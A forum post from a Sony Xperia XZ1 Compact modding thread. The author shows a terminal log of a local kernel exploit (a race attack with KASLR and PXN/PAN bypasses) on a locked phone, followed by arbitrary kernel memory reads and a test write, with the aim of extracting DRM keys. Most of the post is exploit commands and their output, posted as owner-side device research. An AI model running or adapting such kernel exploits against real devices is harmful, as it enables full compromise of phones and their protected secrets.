[Sony Xperia XZ1 Compact ROMs, Kernels, Recoveries,] j4nn:
So where are the drm keys?

;)

Here a test run on my still locked xz1c phone, which got lucky after many test runs that ended with reboot:

G8441:/data/local/tmp $ ./run.sh -l --kaslr-bypass 2 --initial-attack --pxnpan-bypass
rate 19200000,24000
main 0,0
notify 2,-10
handler 3,0
prtimer 2,-10
tmtype 3,0
tmfixup 1
tmtest 20,1
longn 1
kernelp 0
spray 16,7,-10,1560000
offset -88
trials 0
logging 1,0,0,0
attack 2,1016,128,0

kaslr bypassed, kernel at 0xffffff8099480000 slide=0x91400000
prepare for inotify/rename race attack

starting initial attack
- main trial progress 249
- main trial progress 499
- main trial progress 749
- main trial progress 999
- main trial progress 1249
- main trial progress 1499
- main trial progress 1749
- main trial progress 1999
- main trial progress 2249
- main trial progress 2499
- main trial progress 2749
- main trial progress 2999
- main trial progress 3249
- main trial progress 3499
- main trial progress 3749
DETECTED OVERWRITE (event#7804, hits=1, i=0, offset=-88, och='f', nch='p'):
attack returned 0
- main trial progress 3999
DETECTED OVERWRITE (event#8280, hits=2, i=0, offset=-88, och='f', nch='p'):
attack returned 0
DETECTED OVERWRITE (event#8312, hits=3, i=0, offset=-88, och='f', nch='p'):
attack returned 0
- main trial progress 4249
- main trial progress 4499
- main trial progress 4749
- main trial progress 4999
- main trial progress 5249
- main trial progress 5499
- main trial progress 5749
- main trial progress 5999
- main trial progress 6249
- main trial progress 6499
- main trial progress 6749
- main trial progress 6999
- main trial progress 7249
- main trial progress 7499
- main trial progress 7749
- main trial progress 7999
- main trial progress 8249
- main trial progress 8499
- main trial progress 8749
- main trial progress 8999
- main trial progress 9249
- main trial progress 9499
- main trial progress 9749
- main trial progress 9999
- main trial progress 10249
- main trial progress 10499
- main trial progress 10749
DETECTED OVERWRITE (event#21730, hits=4, i=0, offset=-88, och='f', nch='p'):
attack returned 1 (FINALY!)
done, overwrites = 4 (raw=4 tmouts=1) at -88 offset

pxn/pan bypass prepared to start

starting pxn/pan bypass attack, faddr=0xffffffd175a24c00 paddr=0xffffff801d400094
- trial progress 249
- trial progress 499
- trial progress 749
- trial progress 999
- trial progress 1249
- trial progress 1499
- trial progress 1749
- trial progress 1999
- trial progress 2249
- trial progress 2499
- trial progress 2749
- trial progress 2999
DETECTED OVERWRITE (event#6320, hits=1, i=0, offset=-88, och='f', nch='p'):
attack returned 1 (FINALY!)
done, overwrites = 1 (tmouts=0) at -88 offset

pxn/pan bypass verified OK (res=0x03020100, offs=32)
random data write verified OK (res=0x790989d0)
prepared to accept test commands
^Z[1] + Stopped ./run.sh -l --kaslr-bypass 2 --initial-attack --pxnpan-bypass
G8441:/data/local/tmp $ bg
[1] ./run.sh -l --kaslr-bypass 2 --initial-attack --pxnpan-bypass
[1] + Stopped ./run.sh -l --kaslr-bypass 2 --initial-attack --pxnpan-bypass
G8441:/data/local/tmp $
G8441:/data/local/tmp $
G8441:/data/local/tmp $ ./mytest-linux --cmd-krd 0xffffff8099480000 512 | bin/hexdump -C
00000000 00 00 6e 14 00 00 00 00 00 00 08 00 00 00 00 00 |..n.............|
00000010 00 70 ae 02 00 00 00 00 0a 00 00 00 00 00 00 00 |.p..............|
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000030 00 00 00 00 00 00 00 00 41 52 4d 64 00 00 00 00 |........ARMd....|
00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000200
G8441:/data/local/tmp $
G8441:/data/local/tmp $ ./mytest-linux --cmd-krd 0xffffff809ba26f80 16 | bin/hexdump -C
00000000 48 2e dd b9 d1 ff ff ff ff ff ff ff 00 00 00 00 |H...............|
00000010
G8441:/data/local/tmp $
G8441:/data/local/tmp $ ./mytest-linux --cmd-krd 0xffffffd1b9dd2e48 0x300 | bin/hexdump -C
00000000 00 00 00 00 00 00 00 00 34 00 21 00 00 00 00 c6 |........4.!.....|
00000010 42 6f 6f 74 69 6e 67 20 4c 69 6e 75 78 20 6f 6e |Booting Linux on|
00000020 20 70 68 79 73 69 63 61 6c 20 43 50 55 20 30 78 | physical CPU 0x|
00000030 30 00 00 00 00 00 00 00 00 00 00 00 34 00 21 00 |0...........4.!.|
00000040 00 00 00 c6 49 6e 69 74 69 61 6c 69 7a 69 6e 67 |....Initializing|
00000050 20 63 67 72 6f 75 70 20 73 75 62 73 79 73 20 63 | cgroup subsys c|
00000060 70 75 73 65 74 00 00 00 00 00 00 00 00 00 00 00 |puset...........|
00000070 30 00 1e 00 00 00 00 c6 49 6e 69 74 69 61 6c 69 |0.......Initiali|
00000080 7a 69 6e 67 20 63 67 72 6f 75 70 20 73 75 62 73 |zing cgroup subs|
00000090 79 73 20 63 70 75 00 00 00 00 00 00 00 00 00 00 |ys cpu..........|
000000a0 34 00 22 00 00 00 00 c6 49 6e 69 74 69 61 6c 69 |4.".....Initiali|
000000b0 7a 69 6e 67 20 63 67 72 6f 75 70 20 73 75 62 73 |zing cgroup subs|
000000c0 79 73 20 63 70 75 61 63 63 74 00 00 00 00 00 00 |ys cpuacct......|
000000d0 00 00 00 00 34 00 24 00 00 00 00 c6 49 6e 69 74 |....4.$.....Init|
000000e0 69 61 6c 69 7a 69 6e 67 20 63 67 72 6f 75 70 20 |ializing cgroup |
000000f0 73 75 62 73 79 73 20 73 63 68 65 64 74 75 6e 65 |subsys schedtune|
00000100 00 00 00 00 00 00 00 00 98 00 88 00 00 00 00 a6 |................|
00000110 4c 69 6e 75 78 20 76 65 72 73 69 6f 6e 20 34 2e |Linux version 4.|
00000120 34 2e 37 34 2d 70 65 72 66 2b 20 28 42 75 69 6c |4.74-perf+ (Buil|
00000130 64 55 73 65 72 40 42 75 69 6c 64 48 6f 73 74 29 |dUser@BuildHost)|
00000140 20 28 67 63 63 20 76 65 72 73 69 6f 6e 20 34 2e | (gcc version 4.|
00000150 39 2e 78 20 32 30 31 35 30 31 32 33 20 28 70 72 |9.x 20150123 (pr|
00000160 65 72 65 6c 65 61 73 65 29 20 28 47 43 43 29 20 |erelease) (GCC) |
00000170 29 20 23 31 20 53 4d 50 20 50 52 45 45 4d 50 54 |) #1 SMP PREEMPT|
00000180 20 53 61 74 20 53 65 70 20 32 20 31 37 3a 33 30 | Sat Sep 2 17:30|
00000190 3a 32 35 20 32 30 31 37 00 00 00 00 00 00 00 00 |:25 2017........|
000001a0 38 00 26 00 00 00 00 c6 42 6f 6f 74 20 43 50 55 |8.&.....Boot CPU|
000001b0 3a 20 41 41 72 63 68 36 34 20 50 72 6f 63 65 73 |: AArch64 Proces|
000001c0 73 6f 72 20 5b 35 31 61 66 38 30 31 34 5d 00 00 |sor [51af8014]..|
000001d0 00 00 00 00 00 00 00 00 38 00 25 00 00 00 00 c6 |........8.%.....|
000001e0 4d 61 63 68 69 6e 65 3a 20 53 6f 4d 43 20 4c 69 |Machine: SoMC Li|
000001f0 6c 61 63 2d 52 4f 57 28 4d 53 4d 38 39 39 38 20 |lac-ROW(MSM8998 |
00000200 76 32 2e 31 29 00 00 00 00 00 00 00 00 00 00 00 |v2.1)...........|
00000210 3c 00 2b 00 00 00 00 c6 62 6f 61 72 64 2d 72 61 |<.+.....board-ra|
00000220 6d 64 75 6d 70 3a 20 62 6f 6f 74 20 6d 6f 64 65 |mdump: boot mode|
00000230 20 64 65 74 65 63 74 65 64 20 61 73 20 6e 6f 72 | detected as nor|
00000240 6d 61 6c 00 00 00 00 00 00 00 00 00 38 00 27 00 |mal.........8.'.|
00000250 00 00 00 c6 73 79 73 74 65 6d 20 62 6f 6f 74 65 |....system boote|
00000260 64 20 77 69 74 68 20 53 45 43 55 52 49 54 59 5f |d with SECURITY_|
00000270 53 54 41 54 55 53 20 3a 20 4f 4e 00 00 00 00 00 |STATUS : ON.....|
00000280 00 00 00 00 7c 00 6a 00 00 00 00 c6 52 65 73 65 |....|.j.....Rese|
00000290 72 76 65 64 20 6d 65 6d 6f 72 79 3a 20 72 65 73 |rved memory: res|
000002a0 65 72 76 65 64 20 72 65 67 69 6f 6e 20 66 6f 72 |erved region for|
000002b0 20 6e 6f 64 65 20 27 72 65 6d 6f 76 65 64 5f 72 | node 'removed_r|
000002c0 65 67 69 6f 6e 73 40 38 35 38 30 30 30 30 30 27 |egions@85800000'|
000002d0 3a 20 62 61 73 65 20 30 78 30 30 30 30 30 30 30 |: base 0x0000000|
000002e0 30 38 35 38 30 30 30 30 30 2c 20 73 69 7a 65 20 |085800000, size |
000002f0 35 35 20 4d 69 42 00 00 00 00 00 00 00 00 00 00 |55 MiB..........|
00000300
G8441:/data/local/tmp $
G8441:/data/local/tmp $ echo -n 'OVERWRITTEN-TEST' | ./mytest-linux --cmd-kwr 0xffffffd1b9dd2e58 16
G8441:/data/local/tmp $
G8441:/data/local/tmp $ ./mytest-linux --cmd-krd 0xffffffd1b9dd2e48 64 | bin/hexdump -C
00000000 00 00 00 00 00 00 00 00 34 00 21 00 00 00 00 c6 |........4.!.....|
00000010 4f 56 45 52 57 52 49 54 54 45 4e 2d 54 45 53 54 |OVERWRITTEN-TEST|
00000020 20 70 68 79 73 69 63 61 6c 20 43 50 55 20 30 78 | physical CPU 0x|
00000030 30 00 00 00 00 00 00 00 00 00 00 00 34 00 21 00 |0...........4.!.|
00000040

It shows a read of kernel text (code) start memory, then a content of log_buf pointer followed by read of beginning of kernel log buffer.

Next a test write of 16 bytes is tried and re-read. Looks good.

If the drm keys were somewhere in kernel space memory and we knew where, we could read them out already!